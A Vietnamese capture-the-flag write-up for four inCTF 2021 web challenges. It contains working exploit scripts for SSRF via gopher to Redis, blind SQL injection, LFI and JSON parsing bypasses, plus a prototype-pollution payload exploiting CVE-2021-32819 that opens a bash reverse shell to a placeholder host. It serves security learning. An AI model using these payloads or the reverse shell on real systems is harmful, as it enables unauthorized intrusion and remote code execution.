Try   HackMD

Lâu rồi mình cũng không viết writeup, hôm nay có giải inctf 2021 rating 70 với mình thấy challenge cũng hay nên mình viết lại một số bài mà mình giải quyết được. Source code và payload của các bài mình giải được mình bỏ ở đây nhé. SOURCE

Challenge MD Notes

Bài này là một bài xss và được viết bằng golang. Mình sẽ tập trung vào file server.go. Cụ thể ở function createHandler.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Mỗi bài mà chúng ta tạo đều có hash riêng và nếu như hash đó bằng với hash_admin thì không có sanitize.

Function sanitize

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ở func này chỉ có chức năng là EscapeString (htmlencode) chống mình xss. => Mình chỉ cần tìm ra admin_hash thì có thể nhảy qua được sanitize và xss bình thường.

Sau một hồi stuck vì không biết kiếm cách nào để lấy được admin_hash thì đọc func save_post

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
postid được gen bằng ((CONFIG.seed * CONFIG.a) + CONFIG.c) % CONFIG.modulus Có thêm 1 api là _debug. Access nó thì ta lấy được {"Admin_bucket":"b5cd7ae0-7b50-7ae0-7ae0-47a03b473015","VAL_A":245,"VAL_B":143}.

CONFIG = Config{
		admin_bucket: os.Getenv("ADMIN_BUCKET"),
		admin_token: os.Getenv("FLAG"),
		secret: os.Getenv("SECRET"),
		admin_hash: getadminhash(), 
		modulus: 99999999999,
		seed: rand.Intn(9e15) + 1e15, 
		a: a, 
		c: c,
	}

Từ những data này thì ra có thể brute ra postid và dựa vô đó đọc solution của người khác =)) hay còn gọi là chôm flag và đây cũng là unintended của bài này.

Payload

from Crypto.Util.number import *
import requests
modul=99999999999
a=245
c=143
post_id=90462233978
for i in range(10000):
    tmp=post_id-c
    seed=tmp*inverse(a,modul)%modul
    print(seed)
    post_id=seed
    url="http://web.challenge.bi0s.in:5432/b5cd7ae0-7b50-7ae0-7ae0-47a03b473015" #admin_bucket
    r=requests.get(url+f"/{post_id}")
    if "not found" not in r.text: #and "name" not in r.text and "<script>fetch(" not in r.text
        print(r.text)
        break

Và sau đó mình thấy được 1 solution có chứa web-hook và mình nhảy vô và đọc được flag.

Flag -> inctf{8d739_csrf_is_fun_3d587ec9}

Intended

Solution chính thức ở đây như mình đã nói là kiếm admin_hash, sau đó xss bình thường.

func getadminhash() string {
	token := CONFIG.admin_token
	h := sha256.New()
    h.Write([]byte(token + CONFIG.secret))
    sha256_hash := hex.EncodeToString(h.Sum(nil))
	log.Println("Generated admin's hash ", sha256_hash)
    return string(sha256_hash)
}
CONFIG = Config{
		admin_bucket: os.Getenv("ADMIN_BUCKET"),
		admin_token: os.Getenv("FLAG"),
		secret: os.Getenv("SECRET"),
		admin_hash: getadminhash(), 
		modulus: 99999999999,
		seed: rand.Intn(9e15) + 1e15, 
		a: a, 
		c: c,
	}

Func này tạo admin_hash nhưng khi gọi getadminhash() trong khi CONFIG chưa khởi tạo xong => admin_hash blank. Đây là script của author, mọi người có thể tham khảo. Link script

Payload solved bot

import hashlib

def solve_capcha(capcha):
    i = 0
    while True:
        value = str(i).encode()

        if hashlib.sha256(value).hexdigest()[:5] == val:
            print(value)
            return value
        i += 1
solve_capcha('de52')

Challenge Raas

Được cung cấp một Dockerfile thì chúng ta đọc nó thôi hehe

ADD flask-server /code
WORKDIR /code
RUN pip install -r requirements.txt
CMD ["python", "app.py"]

Thấy được có nơi lưu code để deploy là /code Ở ô input thì chúng ta phải nhập một url. Ở đây mình thử nhập 1 protocol là file:// với hi vọng tải được file source về. Lần 1: file:///code/app.py -> tải được file app.py Ở trong phần import thư viện thì mình thấy from main import Requests_On_Steroids, vậy nên thử tải luôn main.py Lần 2: file:///code/main.py -> tải được file main.py

File app.py Đầu tiên ta thấy server sử dụng redis.

if not request.cookies.get('userID'):
    user=Upper_Lower_string(32)
    r.mset({str(user+"_isAdmin"):"false"})
    resp.set_cookie('userID', user)
else:
    user=request.cookies.get('userID')
    flag=r.get(str(user+"_isAdmin"))
    if flag == b"yes":
        resp.set_cookie('flag',str(os.environ['FLAG']))
    else:
        resp.set_cookie('flag', "NAAAN")
return resp

Ở đoạn code này nếu như user_isAdmin = yes thì mình flag sẽ được set cho cookie có name là flag, mặc định sẽ là user_isAdmin = false và cookie flag được đặt là NAAAN.

File main.py

def Requests_On_Steroids(url):
    try:
        s = requests.Session()
        s.mount("inctf:", GopherAdapter())
        s.mount('file://', LocalFileAdapter())
        resp = s.get(url)
        assert resp.status_code == 200
        return(resp.text)
    except:
        return "SOME ISSUE OCCURED"

Ở file này nó mount schema vậy mình chỉ cần gopher vô redis set uid của mình là isAdmin = yes là có flag (SSRF)

Payload

inctf://redis:6379/_set taidh_isAdmin yes Sau đó truy cập lại với cookie uid=taidh sẽ có flag trả về ở cookie

Flag -> inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}

Challenge Vuln Drive

Đăng nhập với account bất kì sau đó thấy có chức năng upload và download file về. F12 thì thấy được có /source => được cung cấp source. hehe /return-files có thể LFI và từ đó chúng ta có thể đọc các file.

def return_files_tut():
    if auth():
        return redirect('/logout')
    filename=request.args.get("f")
    if(filename==None):
        return "No filenames provided"
    print(filename)
    if '..' in filename:
        return "No hack"
    file_path = os.path.join(app.config['UPLOAD_FOLDER'],str(session['uid']),filename)
    if(not os.path.isfile(file_path)):
        return "No such file exists"
    return send_file(file_path, as_attachment=True, attachment_filename=filename)

Nó chỉ check nếu trong tham số f nếu có .. hay không.

/dev_test nhận url mà ta cung cấp và có function url_validate để check url đó.

def url_validate(url):
    blacklist = ["::1", "::"]
    for i in blacklist:
        if(i in url):
            return "NO hacking this time ({- _ -})"
    y = urlparse(url)
    hostname = y.hostname
    try:
        ip = socket.gethostbyname(hostname)
    except:
        ip = ""
    print(url, hostname,ip)
    ips = ip.split('.')
    if ips[0] in ['127', '0']:
        return "NO hacking this time ({- _ -})"
    else:
        try:
            url = unquote(url)
            r = requests.get(url,allow_redirects = False)
            return r.text
        except:
            print(url, hostname)
            return "cannot get you url :)"

Để bypass những cái trên thì mình đã urlencode đầu vào. Vì sau khi check hết tất cả các blacklist thì nó sẽ unquote (decode) và truy cập vào url.

Access http://127%2E0%2E0%2E1dev_test thì nhận được mã nguồn php.

<?php
include('./conf.php');
$inp=$_GET['part1'];
$real_inp=$_GET['part2'];
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct <!-- Not really -->");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";
$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
    highlight_file(__file__);
    die();
}
if($check || !(strlen($_GET['part2'])<124))
{
    echo $query2."<br>";
    echo "Not this way<br>";
}
else
{
    $result=mysqli_query($con,$query3);
    $row=mysqli_fetch_assoc($result);
    if($row['name']==="tester")
        echo "Success";
    else
        echo "Not";
    //$err=mysqli_error($con);
    //echo $err;
}
?>

Ở file này thì có 2 tham số là part1part2.

$inp=$_GET['part1'];
$real_inp=$_GET['part2'];

Để thực hiện được query3 thì chúng ta cần vượt qua if($check || !(strlen($_GET['part2'])<124))

$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";

Chỉ cần câu query2 -> lỗi và len của part2 < 124.

Để câu query2 lỗi thì chúng ta chỉ cần thêm '. Nhưng preg_match đã filter. Chú ý kĩ hơn thì thấy sau khi check qua preg_match thì sẽ $inp=urldecode($inp); decode. vậy chúng ta chỉ cần encode ' => vượt qua được preg_match và vừa làm câu query2 lỗi. Điều kiện còn lại thì chỉ cần len của part2 < 124 là xong.

Sau khi một hồi tìm thì không thấy flag ở trong db và phải inbox author hỏi. Anh ấy bảo chỉ cần tìm path flag ở trong db. Tới đây mình nghĩ vậy ở trong db có path flag sau đó chỉ cần sử dụng LFI để đọc.

Chú ý ở câu query1 được comment

//$query1=select name,path from adminfo;

Chúng ta có table adminfo và có 2 cột name và path. Có lẽ brute path ở đây.

Payload

Mình đã sử dụng LFI để đọc file /etc/hosts và nhận được host local là 192.168.48.2 và mình sử dụng nó luôn hehe

import requests
import string

url="http://web.challenge.bi0s.in:6006/login"
url1="http://web.challenge.bi0s.in:6006/dev_test"

def login():
  r = requests.post(url,data={'username':'admin','password':'1337'}, allow_redirects = False)
  newcookie= r.cookies['session']
  return newcookie

i=0
flag = ''
newcookie=login()

while True:
  i = i+1
  for char in '/'+string.ascii_letters+string.digits+'-.':
    print(flag+char,end='\r')
    data = {'url':f"http://192.168.48.2?part1=%252527&part2=1,name from adminfo where name like 0x{(flag+char).encode('utf-8').hex()}25 Union select 1"}
    r = requests.post(url=url1,data=data,cookies={"session":newcookie})
    print(r.text)
    if 'Not' in r.text:
      flag += char
      print(flag)
      break

Sau đó sử dụng path flag và brute được vào chỗ. /return-file?f=/path_flag.

Flag -> inctf{y0u_pr0v3d_th4t_1t_i5_n0t_53cur3_7765626861636b6572}

Challenge Json Analyser

Ở bài này được cung cấp all source. Server sẽ kill trong 10 phút, nên mình tự deploy local để test. Đầu tiên, sẽ có phần upload file, nhưng để upload được thì cần phải có pin code. Ở /waf có vẻ như là sẽ tạo pincode.

Đọc code thôi hehe. file /waf/waf.py

@app.route('/verify_roles',methods=['GET','POST'])
def verify_roles():
    no_hecking=None
    role=request.args.get('role')
    if "superuser" in role:
        role=role.replace("superuser",'')
    if " " in role:
        return "n0 H3ck1ng"
    if len(role)>30:
        return "invalid role"
    data='"name":"user","role":"{0}"'.format(role)
    no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
    if(no_hecking)==None:
        return "bad data :("
    if no_hecking == "superuser":
        return "n0 H3ck1ng"
    data='{'+data+'}'
    try:
        user_data=ujson.loads(data)
    except:
        return "bad format" 
    role=user_data['role']
    user=user_data['name']
    if (user == "admin" and role == "superuser"):
        return os.getenv('subscription_code')
    else:
        return "no subscription for you"

Nhận tham số role và sẽ được check một số thứ như. Nếu có superuser sẽ replace thành blank. len của role không được > 30. Để nhận được pincode thì cần user == adminrole == superuser.

data='"name":"user","role":"{0}"'.format(role)

data mặc định sẽ là name=user và role là thứ mình truyền vào. Nhìn vào thì mình có thể escape ở role này và thêm name.

data='{'+data+'}'
    try:
        user_data=ujson.loads(data)
    except:
        return "bad format" 
    role=user_data['role']
    user=user_data['name']

Sau khi thêm vào thì data sẽ được biến thành cấu trúc json và sử dụng ujson.load(data) để load dữ liệu. Vì mình gặp json khá nhiều nên sau khi đọc tới đoạn ujson.loads(data) thì mình nhớ đến bài viết này Document JSON => sử dụng unicode thể bypass các thứ trên để tạo role=superuser và add thêm name=admin.

Tiếp tục qua file app.js.

 if (!req.files || Object.keys(req.files).length === 0) {
      return res.status(400).send('No files were uploaded.');
    }
    uploadFile = req.files.uploadFile;
    uploadPath = __dirname + '/package.json' ;
    uploadFile.mv(uploadPath, function(err) {
        if (err)
            return res.status(500).send(err);
        try{
            var config = require('config-handler')();
        }
        catch(e){
            const src = "package1.json";
            const dest = "package.json";
            fs.copyFile(src, dest, (error) => {
                if (error) {
                    console.error(error);
                    return;
                }
                console.log("Copied Successfully!");
            });
            return res.sendFile(__dirname+'/static/error.html')
        }

Ở đây chỉ có chức năng tải lên 1 file .json sau đó được copy vào tệp package.json và cuối cùng được load bằng var config = require('config-handler')();.

Đầu tiên thì thấy được config-handler có thể tấn công Prototype_Pollution.

Ngồi đọc code một hồi thì không thấy có gì lạ và exploit chỗ nào. Bỗng dưng thấy thư viện squirrelly này khá lạ và bắt đầu tìm hiểu về nó và thấy được có một CVE gần đây và cùng version và server đang sử dụng. CVE-2021-32819 Để hiểu hơn thì bạn có thể đọc bài phân tích về CVE đó nhá.

Ở đây mình lấy luôn payload của họ và sửa lại và thêm prototype pollution để exploit.

Payload

payload genpin -> super\u0075ser","name":"admin

file upload reverse shell

{"dependencies":{"__proto__":{"defaultFilter": "e'));var require=global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/HOST/PORT 0>&1\"');//"}}}

Nhớ thay HOST và PORT của các bạn nhé.

Flag -> inctf{Pr0707yp3_P011u710n5_4r3_D34dly}